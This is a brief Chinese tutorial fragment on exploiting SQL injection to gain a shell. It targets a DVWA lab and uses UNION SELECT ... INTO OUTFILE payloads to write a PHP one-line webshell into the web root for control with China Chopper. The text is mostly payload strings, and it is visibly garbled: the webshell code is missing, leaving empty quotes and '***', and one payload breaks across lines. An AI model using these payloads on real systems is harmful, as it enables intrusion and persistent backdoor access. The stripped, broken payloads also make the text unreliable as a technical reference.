SQL inject 漏洞手工利用过程详解：get shell

思路：上传一个"后门"，通过控制后门来得到shell，比如一句话***。比如：

//通过request提交，执行shell

//PHP一句话***，直接上菜刀

这里构造如下语句：

1'and 1=2 union select ""

into outfile "d:\\xampp\\htdocs\\dvwa\\yy.php"#

1' and 1=2 union select 1,"" into outfile "f:\\xampp\\htdocs\\dvwa\\zzz.php"--

1' and 1=2 union select "" into outfile "d:\\

xampp\\htdocs\\dvwa\\zzz.php"

1' and 1=2 union select 1,"" into outfile "d:\\xampp\\htdocs\\dvwa\\yyy.php"#